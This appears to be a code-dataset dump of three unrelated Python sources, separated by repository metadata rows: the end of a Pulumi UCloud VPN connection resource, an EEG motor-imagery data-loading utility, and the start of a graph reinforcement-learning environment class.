Get an existing VpnConnection resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param str id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] create_time: The creation time for VPN Gateway Connection, formatted in RFC3339 time string.
:param pulumi.Input[str] customer_gateway_id: The grade of the VPN Gateway
:param pulumi.Input[dict] ike_config: The configurations of IKE negotiation. Each ike_config supports fields documented below.
:param pulumi.Input[dict] ipsec_config: The configurations of IPSec negotiation. Each ipsec_config supports fields documented below.
:param pulumi.Input[str] remark: The remarks of the VPN Gateway Connection. (Default: `""`).
:param pulumi.Input[str] tag: A tag assigned to VPN Gateway Connection, which contains at most 63 characters and only support Chinese, English, numbers, '-', '_', and '.'. If it is not filled in or a empty string is filled in, then default tag will be assigned. (Default: `Default`).
:param pulumi.Input[str] vpc_id: The ID of VPC linked to the VPN Gateway Connection.
:param pulumi.Input[str] vpn_gateway_id: The ID of the VPN Customer Gateway.
The **ike_config** object supports the following:
* `authenticationAlgorithm` (`pulumi.Input[str]`) - The authentication algorithm of IPSec negotiation. Possible values: `sha1`, `md5`. (Default: `sha1`)
* `dhGroup` (`pulumi.Input[str]`) - The Diffie-Hellman group used by IKE negotiation. Possible values: `1`, `2`, `5`, `14`, `15`, `16`. (Default:`15`)
* `encryptionAlgorithm` (`pulumi.Input[str]`) - The encryption algorithm of IPSec negotiation. Possible values: `aes128`, `aes192`, `aes256`, `aes512`, `3des`. (Default: `aes128`).
* `exchangeMode` (`pulumi.Input[str]`) - The negotiation exchange mode of IKE V1 of VPN gateway. Possible values: `main` (main mode), `aggressive` (aggressive mode). (Default: `main`)
* `ikeVersion` (`pulumi.Input[str]`) - The version of the IKE protocol which only be supported IKE V1 protocol at present. Possible values: ikev1. (Default: ikev1)
* `localId` (`pulumi.Input[str]`) - The identification of the VPN gateway.
* `preSharedKey` (`pulumi.Input[str]`) - The key used for authentication between the VPN gateway and the Customer gateway which contains 1-128 characters and only support English, numbers and special characters: `!@#$%^&*()_+-=[]:,./'~`.
* `remoteId` (`pulumi.Input[str]`) - The identification of the Customer gateway.
* `saLifeTime` (`pulumi.Input[float]`) - The Security Association lifecycle as the result of IPSec negotiation. Unit: second. Range: 1200-604800. (Default: `3600`)
The **ipsec_config** object supports the following:
* `authenticationAlgorithm` (`pulumi.Input[str]`) - The authentication algorithm of IPSec negotiation. Possible values: `sha1`, `md5`. (Default: `sha1`)
* `encryptionAlgorithm` (`pulumi.Input[str]`) - The encryption algorithm of IPSec negotiation. Possible values: `aes128`, `aes192`, `aes256`, `aes512`, `3des`. (Default: `aes128`).
* `localSubnetIds` (`pulumi.Input[list]`) - The id list of Local subnet.
* `pfsDhGroup` (`pulumi.Input[str]`) - Whether the PFS of IPSec negotiation is on or off, `disable` as off, The Diffie-Hellman group as open. Possible values: `disable`, `1`, `2`, `5`, `14`, `15`, `16`. (Default:`disable`)
* `protocol` (`pulumi.Input[str]`) - The security protocol of IPSec negotiation. Possible values: `esp`, `ah`. (Default:`esp`)
* `remoteSubnets` (`pulumi.Input[list]`) - The ip address list of remote subnet.
* `saLifeTime` (`pulumi.Input[float]`) - The Security Association lifecycle as the result of IPSec negotiation. Unit: second. Range: 1200-604800. (Default: `3600`)
* `saLifeTimeBytes` (`pulumi.Input[float]`) - The Security Association lifecycle in bytes as the result of IPSec negotiation. Unit: second. Range: 1200-604800. (Default: `3600`)
> This content is derived from https://github.com/terraform-providers/terraform-provider-ucloud/blob/master/website/docs/r/vpn_connection.html.markdown.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = dict()
__props__["create_time"] = create_time
__props__["customer_gateway_id"] = customer_gateway_id
__props__["ike_config"] = ike_config
__props__["ipsec_config"] = ipsec_config
__props__["name"] = name
__props__["remark"] = remark
__props__["tag"] = tag
__props__["vpc_id"] = vpc_id
__props__["vpn_gateway_id"] = vpn_gateway_id
return VpnConnection(resource_name, opts=opts, __props__=__props__)
def translate_output_property(self, prop):
return tables._CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
def translate_input_property(self, prop):
return tables._SNAKE_TO_CAMEL_CASE_TABLE.get(prop) or prop
| 76.793269 | 291 | 0.673386 | 1,974 | 15,973 | 5.309524 | 0.125127 | 0.051426 | 0.046751 | 0.035684 | 0.851636 | 0.835416 | 0.826066 | 0.808511 | 0.766721 | 0.753554 | 0 | 0.026826 | 0.208852 | 15,973 | 207 | 292 | 77.164251 | 0.802564 | 0.518124 | 0 | 0.026667 | 1 | 0 | 0.17479 | 0.016771 | 0 | 0 | 0 | 0 | 0 | 1 | 0.053333 | false | 0.013333 | 0.08 | 0.026667 | 0.306667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
95da1857f99666be90afdca06931a190fcba985f | 19,751 | py | Python | PR_BCI_team/Team_StarLab/DKHan/examples/eeg_dg/utils.py | PatternRecognition/OpenBMI | d9291ddb81f4319fb3764d7192e0363939a62ee9 | [
"MIT"
] | 217 | 2015-11-02T11:10:29.000Z | 2022-03-22T07:01:12.000Z | PR_BCI_team/Team_StarLab/DKHan/examples/eeg_dg/utils.py | deep-bci-g/OpenBMI | 75daf901b2dbe215852cbff243606dcfcd10f05c | [
"MIT"
] | 24 | 2015-11-02T11:10:45.000Z | 2021-09-08T11:10:33.000Z | PR_BCI_team/Team_StarLab/DKHan/examples/eeg_dg/utils.py | deep-bci-g/OpenBMI | 75daf901b2dbe215852cbff243606dcfcd10f05c | [
"MIT"
] | 112 | 2016-01-22T01:45:44.000Z | 2022-03-22T07:08:19.000Z | import numpy as np
import sys
import os
import pickle
from datasets.gigadataset import GigaDataset, GigaDataset_gpu
import torch
import copy
from sklearn.model_selection import train_test_split
def param_size(model):
""" Compute parameter size in MB """
n_params = sum(
np.prod(v.size()) for k, v in model.named_parameters() if not k.startswith('aux_head'))
return n_params / 1024. / 1024.
def blockPrint():
sys.stdout = open(os.devnull, 'w')
def enablePrint():
sys.stdout = sys.__stdout__
def get_data_eeg(args,fold_idx):
seed = args.seed
random.seed(seed)
torch.manual_seed(seed)
np.random.seed(seed)
with open(args.data_root + '/openbmi_mi_raw_smt_data.pkl', 'rb') as f:
x_data = pickle.load(f)
with open(args.data_root + '/epoch_labels.pkl', 'rb') as f:
y_data = pickle.load(f)
x_data = np.expand_dims(x_data, axis=1)
in_chans = x_data.shape[2]
input_time_length = x_data.shape[3]
x_data = x_data.reshape(108, -1, in_chans, input_time_length)
y_data = y_data.reshape(108, -1)
args.n_class = len(np.unique(y_data))
args.n_ch = x_data.shape[2]
args.n_time = x_data.shape[3]
datasets = []
for s_id in range(0, 108):
datasets.append(GigaDataset_gpu([np.expand_dims(x_data[s_id, :, :, :], axis=1), y_data[s_id, :]], s_id,'cuda:0'))
test_subj = np.r_[fold_idx * 9:fold_idx * 9 + 9, fold_idx * 9 + 54:fold_idx * 9 + 9 + 54]
print(test_subj)
train_subj = np.setdiff1d(np.r_[0:108], test_subj)
train_set = [datasets[i] for i in train_subj]
test_set =[datasets[i] for i in test_subj]
train_set = torch.utils.data.ConcatDataset(train_set)
train_len = int(0.9 * len(train_set))
valid_len = len(train_set) - train_len
train_set, valid_set = torch.utils.data.dataset.random_split(train_set,[train_len, valid_len])
test_set = torch.utils.data.ConcatDataset(test_set)
return train_set, valid_set, test_set, args
def get_data_eeg_4fold(args,fold_idx):
seed = args.seed
random.seed(seed)
torch.manual_seed(seed)
np.random.seed(seed)
with open(args.data_root + '/openbmi_mi_filt830_smt_data.pkl', 'rb') as f:
x_data = pickle.load(f)
with open(args.data_root + '/epoch_labels.pkl', 'rb') as f:
y_data = pickle.load(f)
x_data = np.expand_dims(x_data, axis=1)
in_chans = x_data.shape[2]
input_time_length = x_data.shape[3]
x_data = x_data.reshape(108, -1, in_chans, input_time_length)
y_data = y_data.reshape(108, -1)
ch_idx = np.array(list(range(7, 11)) + list(range(12, 15)) + list(range(17, 21)) + list(range(32, 41)))
x_data = x_data[:, :, ch_idx, 125:]
args.n_class = len(np.unique(y_data))
args.n_ch = x_data.shape[2]
args.n_time = x_data.shape[3]
datasets = []
for s_id in range(0, 108):
datasets.append(GigaDataset([np.expand_dims(x_data[s_id, :, :, :], axis=1), y_data[s_id, :]], s_id))
train_subj = np.r_[0:36, 54:90] # 0~35번
test_subj = np.r_[36:45, 54 + 36:54 + 45] # 36~44
valid_subj = np.r_[45:54, 54 + 45:108] # 45~54
train_set = [datasets[i] for i in train_subj]
valid_set = [datasets[i] for i in valid_subj]
test_set = [datasets[i] for i in test_subj]
train_set = torch.utils.data.ConcatDataset(train_set)
valid_set = torch.utils.data.ConcatDataset(valid_set)
test_set = torch.utils.data.ConcatDataset(test_set)
return train_set, valid_set, test_set, args
import random
def get_data_eeg_single_subject(args,fold_idx):
seed = args.seed
random.seed(seed)
torch.manual_seed(seed)
np.random.seed(seed)
with open(args.data_root + '/openbmi_mi_raw_smt_data.pkl', 'rb') as f:
x_data = pickle.load(f)
with open(args.data_root + '/epoch_labels.pkl', 'rb') as f:
y_data = pickle.load(f)
x_data = np.expand_dims(x_data, axis=1)
in_chans = x_data.shape[2]
input_time_length = x_data.shape[3]
x_data = x_data.reshape(108, -1, in_chans, input_time_length)
y_data = y_data.reshape(108, -1)
args.n_class = len(np.unique(y_data))
args.n_ch = x_data.shape[2]
args.n_time = x_data.shape[3]
datasets = []
for s_id in range(0, 108):
datasets.append(GigaDataset([np.expand_dims(x_data[s_id, :, :, :], axis=1), y_data[s_id, :]], s_id))
test_subj = np.r_[fold_idx * 9:fold_idx * 9 + 9, fold_idx * 9 + 54:fold_idx * 9 + 9 + 54]
print(test_subj)
train_subj = np.setdiff1d(np.r_[0:108], test_subj)
train_set = [datasets[i] for i in train_subj]
test_set =[datasets[i] for i in test_subj]
train_set = torch.utils.data.ConcatDataset(train_set)
train_len = int(0.9 * len(train_set))
valid_len = len(train_set) - train_len
train_set, valid_set = torch.utils.data.dataset.random_split(train_set,[train_len, valid_len])
test_set = torch.utils.data.ConcatDataset(test_set)
return train_set, valid_set, test_set, args
import torch.cuda as cuda
import hyperparameter as hp
def get_data_eeg_subject_subset(args,fold_idx):
seed = args.seed
random.seed(seed)
torch.manual_seed(seed)
np.random.seed(seed)
data_path = hp.data_path
args.data = data_path
print(f'data path : {data_path}')
x_data = np.load(args.data_root + data_path, mmap_mode='r')
# y_data = np.load(args.data_root + '/y_data_raw.pkl', mmap_mode='r')
with open(args.data_root + '/epoch_labels.pkl', 'rb') as f:
y_data = pickle.load(f)
x_data = np.expand_dims(x_data, axis=1)
# np.save("C:/data/x_data.npy", x_data)
in_chans = x_data.shape[2]
input_time_length = x_data.shape[3]
x_data = x_data.reshape(108, -1, in_chans, input_time_length)
y_data = y_data.reshape(108, -1)
args.n_class = len(np.unique(y_data))
args.n_ch = 20
args.n_time = 250
device = 'cuda' if cuda else 'cpu'
datasets = []
for s_id in range(0, 108):
# datasets.append(GigaDataset_gpu([np.expand_dims(x_data[s_id, :, :, :], axis=1), y_data[s_id, :]], s_id,'cuda:0'))
datasets.append(GigaDataset([np.expand_dims(x_data[s_id, :, :, :], axis=1), y_data[s_id, :]], s_id))
# subject_list = np.r_[0, 1, 2, 4, 5, 8, 17, 18, 20, 27, 28, 32, 35, 36, 42, 43, 44, 51]
subject_list = np.r_[0:54]
subject_list_sess2 = subject_list+54
all_subject_list = np.concatenate([subject_list, subject_list_sess2])
test_subj = np.r_[fold_idx, fold_idx+54]
train_subj = np.setdiff1d(all_subject_list, test_subj)
# train_set = [datasets[i] for i in train_subj]
test_set = [datasets[i] for i in test_subj]
for t in test_set:
t.istrain = False
train_set = []
valid_set = []
for i in train_subj:
train_len = int(0.90 * len(datasets[i]))
valid_len = len(datasets[i]) - train_len
# print(f'{train_len},{valid_len}')
train_set_temp, valid_set_temp = torch.utils.data.dataset.random_split(datasets[i], [train_len, valid_len])
temp = copy.deepcopy(valid_set_temp)
temp.dataset.istrain = False
train_set.append(train_set_temp)
valid_set.append(temp)
train_set = torch.utils.data.ConcatDataset(train_set)
valid_set = torch.utils.data.ConcatDataset(valid_set)
# train_set = torch.utils.data.ConcatDataset(train_set)
# train_len = int(0.9 * len(train_set))
# valid_len = len(train_set) - train_len
#
# train_set, valid_set = torch.utils.data.dataset.random_split(train_set, [train_len, valid_len])
test_set = torch.utils.data.ConcatDataset(test_set)
# print(train_set.indices)
return train_set, valid_set, test_set, args
def get_data_eeg_subject_subset_inference(args,fold_idx):
seed = args.seed
random.seed(seed)
torch.manual_seed(seed)
np.random.seed(seed)
data_path = hp.data_path
args.data = data_path
print(f'data path : {data_path}')
x_data = np.load(args.data_root + data_path, mmap_mode='r')
# y_data = np.load(args.data_root + '/y_data_raw.pkl', mmap_mode='r')
with open(args.data_root + '/epoch_labels.pkl', 'rb') as f:
y_data = pickle.load(f)
x_data = np.expand_dims(x_data, axis=1)
# np.save("C:/data/x_data.npy", x_data)
in_chans = x_data.shape[2]
input_time_length = x_data.shape[3]
x_data = x_data.reshape(108, -1, in_chans, input_time_length)
y_data = y_data.reshape(108, -1)
args.n_class = len(np.unique(y_data))
args.n_ch = 20
args.n_time = 250
device = 'cuda' if cuda else 'cpu'
datasets = []
for s_id in range(0, 108):
# datasets.append(GigaDataset_gpu([np.expand_dims(x_data[s_id, :, :, :], axis=1), y_data[s_id, :]], s_id,'cuda:0'))
datasets.append(GigaDataset([np.expand_dims(x_data[s_id, :, :, :], axis=1), y_data[s_id, :]], s_id,False))
# subject_list = np.r_[0, 1, 2, 4, 5, 8, 17, 18, 20, 27, 28, 32, 35, 36, 42, 43, 44, 51]
subject_list = np.r_[0:54]
subject_list_sess2 = subject_list+54
all_subject_list = np.concatenate([subject_list, subject_list_sess2])
test_subj = np.r_[fold_idx, fold_idx+54]
train_subj = np.setdiff1d(all_subject_list, test_subj)
# train_set = [datasets[i] for i in train_subj]
test_set = [datasets[i] for i in test_subj]
for t in test_set:
t.istrain = False
train_set = []
valid_set = []
for i in train_subj:
train_len = int(0.9 * len(datasets[i]))
valid_len = len(datasets[i]) - train_len
# print(f'{train_len},{valid_len}')
train_set_temp, valid_set_temp = torch.utils.data.dataset.random_split(datasets[i], [train_len, valid_len])
# temp = copy.deepcopy(valid_set_temp)
# temp.dataset.istrain = False
train_set.append(train_set_temp)
valid_set.append(valid_set_temp)
train_set = torch.utils.data.ConcatDataset(train_set)
valid_set = torch.utils.data.ConcatDataset(valid_set)
# train_set = torch.utils.data.ConcatDataset(train_set)
# train_len = int(0.9 * len(train_set))
# valid_len = len(train_set) - train_len
#
# train_set, valid_set = torch.utils.data.dataset.random_split(train_set, [train_len, valid_len])
test_set = torch.utils.data.ConcatDataset(test_set)
# print(train_set.indices)
return train_set, valid_set, test_set, args
def get_data_eeg_subject_subset_dev(args,fold_idx):
seed = args.seed
random.seed(seed)
torch.manual_seed(seed)
np.random.seed(seed)
data_path = hp.data_path
args.data = data_path
print(f'data path : {data_path}')
x_data = np.load(args.data_root + data_path, mmap_mode='r')
# y_data = np.load(args.data_root + '/y_data_raw.pkl', mmap_mode='r')
with open(args.data_root + '/epoch_labels.pkl', 'rb') as f:
y_data = pickle.load(f)
x_data = np.expand_dims(x_data, axis=1)
# np.save("C:/data/x_data.npy", x_data)
in_chans = x_data.shape[2]
input_time_length = x_data.shape[3]
x_data = x_data.reshape(108, -1, in_chans, input_time_length)
y_data = y_data.reshape(108, -1)
args.n_class = len(np.unique(y_data))
args.n_ch = 20
args.n_time = 250
device = 'cuda' if cuda else 'cpu'
#사용자 세팅
subject_list = np.r_[0:54]
subject_list_sess2 = subject_list + 54
all_subject_list = np.concatenate([subject_list, subject_list_sess2])
test_subj = np.r_[fold_idx, fold_idx + 54]
train_subj = np.setdiff1d(all_subject_list, test_subj)
#test셋 먼저 세팅
test_set = [GigaDataset([np.expand_dims(x_data[i, :, :, :], axis=1), y_data[i, :]], i, False) for i in test_subj]
train_set = []
valid_set = []
for i in train_subj:
train_len = int(0.9 * len(x_data[i, :, :, :]))
valid_len = len(x_data[i, :, :, :]) - train_len
# print(f'{train_len},{valid_len}')
idx = np.arange(len(x_data[i, :, :, :]))
tr_idx,val_idx = train_test_split(idx,test_size=0.1)
train_set.append(GigaDataset([np.expand_dims(x_data[i, tr_idx, :, :], axis=1), y_data[i, :]], i, True))
valid_set.append(GigaDataset([np.expand_dims(x_data[i, val_idx, :, :], axis=1), y_data[i, :]], i, False))
train_set = torch.utils.data.ConcatDataset(train_set)
valid_set = torch.utils.data.ConcatDataset(valid_set)
test_set = torch.utils.data.ConcatDataset(test_set)
return train_set, valid_set, test_set, args
def get_data_eeg_subject_subset_woval(args,fold_idx):
seed = args.seed
random.seed(seed)
torch.manual_seed(seed)
np.random.seed(seed)
data_path = '/x_data_380.npy'
args.data = data_path
print(f'data path : {data_path}')
x_data = np.load(args.data_root + data_path, mmap_mode='r')
with open(args.data_root + '/epoch_labels.pkl', 'rb') as f:
y_data = pickle.load(f)
x_data = np.expand_dims(x_data, axis=1)
# np.save("C:/data/x_data.npy", x_data)
in_chans = x_data.shape[2]
input_time_length = x_data.shape[3]
x_data = x_data.reshape(108, -1, in_chans, input_time_length)
y_data = y_data.reshape(108, -1)
args.n_class = len(np.unique(y_data))
args.n_ch = 20
args.n_time = 250
device = 'cuda' if cuda else 'cpu'
datasets = []
for s_id in range(0, 108):
datasets.append(GigaDataset([np.expand_dims(x_data[s_id, :, :, :], axis=1), y_data[s_id, :]], s_id))
# subject_list = np.r_[0, 1, 2, 4, 5, 8, 17, 18, 20, 27, 28, 32, 35, 36, 42, 43, 44, 51]
subject_list = np.r_[0:54]
subject_list_sess2 = subject_list+54
all_subject_list = np.concatenate([subject_list, subject_list_sess2])
test_subj = np.r_[fold_idx, fold_idx+54]
train_subj = np.setdiff1d(all_subject_list, test_subj)
train_set = [datasets[i] for i in train_subj]
test_set = [datasets[i] for i in test_subj]
train_set = torch.utils.data.ConcatDataset(train_set)
test_set = torch.utils.data.ConcatDataset(test_set)
return train_set, test_set, args
def get_data_eeg_subject_subset2(args,device):
seed = args.seed
random.seed(seed)
torch.manual_seed(seed)
np.random.seed(seed)
data_path = '/openbmi_mi_filt830_smt_data.pkl'
args.data = data_path
print(f'data path : {data_path}')
with open(args.data_root + data_path, 'rb') as f:
x_data = pickle.load(f)
with open(args.data_root + '/epoch_labels.pkl', 'rb') as f:
y_data = pickle.load(f)
x_data = np.expand_dims(x_data, axis=1)
x_data_t = torch.Tensor(x_data).to('cuda:0')
# torch.save(x_data_t,'openbmi_mi_filt830_smt_data_tensor.pt')
y_data_t = torch.Tensor(y_data)
# torch.save(y_data_t, 'epoch_labels.pt')
in_chans = x_data.shape[2]
input_time_length = x_data.shape[3]
x_data = x_data.reshape(108, -1, in_chans, input_time_length)
y_data = y_data.reshape(108, -1)
ch_idx = np.array(list(range(7, 11)) + list(range(12, 15)) + list(range(17, 21)) + list(range(32, 41)))
x_data = x_data[:, :, ch_idx, 125:]
args.n_class = len(np.unique(y_data))
args.n_ch = x_data.shape[2]
args.n_time = x_data.shape[3]
datasets = []
for s_id in range(0, 108):
datasets.append(GigaDataset_gpu([np.expand_dims(x_data[s_id, :, :, :], axis=1), y_data[s_id, :]], s_id,device))
return datasets, args
def get_tensor(args):
seed = args.seed
random.seed(seed)
torch.manual_seed(seed)
np.random.seed(seed)
data_path = '/openbmi_mi_filt830_smt_data_tensor.pt'
args.data = data_path
print(f'data path : {data_path}')
x_data = torch.load(args.data_root+data_path, map_location='cpu')
y_data = torch.load(args.data_root + '/epoch_labels.pt')
# x_data = np.expand_dims(x_data, axis=1)
in_chans = x_data.shape[2]
input_time_length = x_data.shape[3]
x_data = x_data.reshape(108, -1, in_chans, input_time_length)
y_data = y_data.reshape(108, -1)
ch_idx = np.array(list(range(7, 11)) + list(range(12, 15)) + list(range(17, 21)) + list(range(32, 41)))
x_data = x_data[:, :, ch_idx, 125:]
args.n_class = len(np.unique(y_data))
args.n_ch = x_data.shape[2]
args.n_time = x_data.shape[3]
return x_data, y_data, args
def get_data_eeg_chsel(args,fold_idx):
seed = args.seed
random.seed(seed)
torch.manual_seed(seed)
np.random.seed(seed)
data_path = '/openbmi_mi_filt830_smt_data.pkl'
args.data = data_path
print(f'data path : {data_path}')
with open(args.data_root + data_path, 'rb') as f:
x_data = pickle.load(f)
with open(args.data_root + '/epoch_labels.pkl', 'rb') as f:
y_data = pickle.load(f)
x_data = np.expand_dims(x_data, axis=1)
in_chans = x_data.shape[2]
input_time_length = x_data.shape[3]
x_data = x_data.reshape(108, -1, in_chans, input_time_length)
y_data = y_data.reshape(108, -1)
ch_idx = np.array(list(range(7, 11)) + list(range(12, 15)) + list(range(17, 21)) + list(range(32, 41)))
x_data = x_data[:,:,ch_idx,125+250:125+250+625]
args.n_class = len(np.unique(y_data))
args.n_ch = x_data.shape[2]
args.n_time = x_data.shape[3]
datasets = []
for s_id in range(0, 108):
datasets.append(GigaDataset([np.expand_dims(x_data[s_id, :, :, :], axis=1), y_data[s_id, :]], s_id))
test_subj = np.r_[fold_idx * 9:fold_idx * 9 + 9, fold_idx * 9 + 54:fold_idx * 9 + 9 + 54]
print(test_subj)
train_subj = np.setdiff1d(np.r_[0:108], test_subj)
train_set = [datasets[i] for i in train_subj]
test_set =[datasets[i] for i in test_subj]
train_set = torch.utils.data.ConcatDataset(train_set)
train_len = int(0.9 * len(train_set))
valid_len = len(train_set) - train_len
train_set, valid_set = torch.utils.data.dataset.random_split(train_set,[train_len, valid_len])
test_set = torch.utils.data.ConcatDataset(test_set)
print(train_set.indices)
return train_set, valid_set, test_set, args
class AverageMeter(object):
"""Computes and stores the average and current value"""
def __init__(self, name, fmt=':f'):
self.name = name
self.fmt = fmt
self.reset()
def reset(self):
self.val = 0
self.avg = 0
self.sum = 0
self.count = 0
def update(self, val, n=1):
self.val = val
self.sum += val * n
self.count += n
self.avg = self.sum / self.count
def __str__(self):
fmtstr = '{name} {val' + self.fmt + '} ({avg' + self.fmt + '})'
return fmtstr.format(**self.__dict__)
import pandas as pd
import train_eval as te
def get_testset_accuracy(model, device , test_set, args):
subj_num = len(test_set.datasets)//2
all_test_score = []
for subj in range(subj_num):
print(subj)
for sess in range(2):
for onoff in range(2):
if sess == 0:
subj_id = subj
else:
subj_id = subj + subj_num
if onoff == 0:
data = torch.utils.data.Subset(test_set, range(subj_id*200,subj_id*200+100))
else:
data = torch.utils.data.Subset(test_set, range(subj_id*200+100,subj_id*200+200))
print(f'subject:{subj+1}, session:{sess}, onoff:{onoff}')
test_loader = torch.utils.data.DataLoader(data, batch_size=args.batch_size, shuffle=False)
blockPrint()
test_loss, test_score = te.eval(model, device, test_loader)
all_test_score.append(test_score)
enablePrint()
print(f"subject:{subj+1}, acc:{test_score}")
df = pd.DataFrame(np.array(all_test_score).reshape(-1,4),columns=['sess1-off','sess1-on','sess2-off','sess2-on'])
print(f"all acc: {np.mean(all_test_score):.4f}")
print(df)
return df | 32.646281 | 123 | 0.649739 | 3,271 | 19,751 | 3.647814 | 0.069703 | 0.049866 | 0.026819 | 0.038468 | 0.851911 | 0.845458 | 0.836658 | 0.825427 | 0.825427 | 0.81118 | 0 | 0.037006 | 0.209205 | 19,751 | 605 | 124 | 32.646281 | 0.726935 | 0.094426 | 0 | 0.740099 | 0 | 0 | 0.044514 | 0.012278 | 0 | 0 | 0 | 0 | 0 | 1 | 0.044554 | false | 0 | 0.032178 | 0 | 0.111386 | 0.039604 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
95f21b7b4ead025728a284bae0d8c6b046b032ec | 24,384 | py | Python | graph_gym/graph.py | zwj3652011/ICCS_20 | 921f59980968a0b27942cbe33c570492cf89a213 | [
"BSD-3-Clause"
] | 7 | 2020-05-22T14:30:45.000Z | 2021-02-21T16:52:43.000Z | graph_gym/graph.py | zwj3652011/ICCS_20 | 921f59980968a0b27942cbe33c570492cf89a213 | [
"BSD-3-Clause"
] | 1 | 2021-03-11T06:22:26.000Z | 2021-03-19T02:42:33.000Z | graph_gym/graph.py | zwj3652011/ICCS_20 | 921f59980968a0b27942cbe33c570492cf89a213 | [
"BSD-3-Clause"
] | 3 | 2021-04-13T03:06:49.000Z | 2022-03-04T04:55:02.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Feb 25 16:06:44 2019
@author: weijianzheng
graph.py: This class is used to represent the graph,
it works as the interface between graph environment
and several different types of the graph object
(e.g., Basic_graph, networkx graph)
"""
import networkx as nx
import numpy as np
import copy
from node2vec import Node2Vec
from graph_gym.basic_graph import Basic_graph
from gensim.models import KeyedVectors
class Graph:
def __init__(self, env_type, file_name, num_embed_dim, limit_nodes):
self.env_type = env_type
self.file_name = file_name
# used for testing on different size graph
self.limit_nodes = limit_nodes
# Need to initialize different types of the graph
# based on env_type
if(self.env_type == 'merge_cyclomatic'):
# this game just need basic graph
self.b_graph = Basic_graph(self.file_name, False)
if(self.env_type == 'merge_clustering_cv'):
# this game use networkx
self.b_graph = Basic_graph(self.file_name, False)
#print(self.file_name)
self.edgelist_file_name = self.file_name.split(".")[0]
self.edgelist_file_name = self.edgelist_file_name + ".edgelist"
#print(self.edgelist_file_name)
self.temp_G = nx.read_edgelist(self.edgelist_file_name, \
create_using=nx.DiGraph())
self.old_cv = nx.average_clustering(self.temp_G.to_undirected())
print("The original cv is " + str(self.old_cv))
if(self.env_type == 'merge_combine'):
# this game use networkx
self.b_graph = Basic_graph(self.file_name, False)
#print(self.file_name)
self.edgelist_file_name = self.file_name.split(".")[0]
self.edgelist_file_name = self.edgelist_file_name + ".edgelist"
#print(self.edgelist_file_name)
self.temp_G = nx.read_edgelist(self.edgelist_file_name, \
create_using=nx.DiGraph())
self.old_cv = nx.average_clustering(self.temp_G.to_undirected())
print("The original cv is " + str(self.old_cv))
if(self.env_type == 'greedy_min_cover'):
# this game use networkx
#self.b_graph = Basic_graph(self.file_name, False)
edgelist_file = file_name.split("/")
edgelist_file_name_temp = edgelist_file[len(edgelist_file)-1].\
split(".")[0]
edgelist_file_name_temp += ".edgelist"
self.edgelist_file_name = file_name.replace(edgelist_file[\
len(edgelist_file)-1], edgelist_file_name_temp)
#print(self.edgelist_file_name)
self.temp_G = nx.read_edgelist(self.edgelist_file_name, \
create_using=nx.DiGraph())
#self.temp_G = nx.fast_gnp_random_graph(20, 0.6, seed=None, \
#directed=False)
#self.ori_G = self.temp_G
# the number of nodes in graph
self.num_nodes = len(self.temp_G)
self.nodes_list = list(self.temp_G.nodes)
# begin to prepare for the embedding
# graph embedding parameters:
self.num_embed_dim = num_embed_dim
self.num_walk_length = 5
self.num_num_walks = 100
self.num_workers = 4
# Precompute probabilities and generate walks
# Use temp_folder for big graphs
self.node2vec = Node2Vec(self.temp_G, \
dimensions = self.num_embed_dim, \
walk_length = self.num_walk_length, \
num_walks = self.num_num_walks, \
workers = self.num_workers, p=256, q=0.25, \
quiet=True)
# Embed nodes
self.model = self.node2vec.fit(window=2, min_count=1, \
batch_words=4)
# Any keywords acceptable by gensim.Word2Vec can be passed,
# `dimensions` and `workers` are automatically passed
# (from the Node2Vec constructor)
# initialize a sigma: used for later agent
# state + candidate node
self.state = np.zeros(shape = (1, self.num_embed_dim*2))
# the number of nodes in the current solution
self.s_count = 0
# the number of edges in the current solution
self.s_edge_count = 0
# the number of edges in the graph:
self.num_edges = self.temp_G.number_of_edges()
self.edgelist = list(self.temp_G.edges)
# it is a collection of nodes in the current partial solution
self.partial_solution = []
for i in range(0, self.num_edges):
self.edgelist[i] += (0,)
if(self.env_type == 'min_cover_s2v'):
edgelist_file = file_name.split("/")
edgelist_file_name_temp = edgelist_file[len(edgelist_file)-1].\
split(".")[0]
edgelist_file_name_temp += ".edgelist"
self.edgelist_file_name = file_name.replace(edgelist_file[\
len(edgelist_file)-1], edgelist_file_name_temp)
#print(self.edgelist_file_name)
self.temp_G = nx.read_edgelist(self.edgelist_file_name)
# one of the input for this game
self.ad_matrix = nx.to_numpy_matrix(self.temp_G)
# the number of nodes in graph
self.num_nodes = len(self.temp_G)
self.nodes_list = list(self.temp_G.nodes)
self.node_selected = np.zeros(shape = (1, self.limit_nodes))
self.node_measured = np.zeros(shape = (1, self.limit_nodes, 1))
self.node_all = np.ones(shape = (1, self.limit_nodes, 1))
self.ad_matrix = np.lib.pad(self.ad_matrix, ((0,self.limit_nodes-self.num_nodes), \
(0,self.limit_nodes-self.num_nodes)), \
'constant', constant_values=(0))
self.ad_matrix = np.reshape(self.ad_matrix, (-1, self.limit_nodes, self.limit_nodes))
self.state = []
self.state.append(self.node_selected)
self.state.append(self.ad_matrix)
self.state.append(self.node_measured)
self.state.append(self.node_all)
# the number of nodes in the current solution
self.s_count = 0
# it is a collection of nodes in the current partial solution
self.partial_solution = []
if(self.env_type == 'max_cut_s2v'):
edgelist_file = file_name.split("/")
edgelist_file_name_temp = edgelist_file[len(edgelist_file)-1].\
split(".")[0]
edgelist_file_name_temp += ".edgelist"
self.edgelist_file_name = file_name.replace(edgelist_file[\
len(edgelist_file)-1], edgelist_file_name_temp)
#print(self.edgelist_file_name)
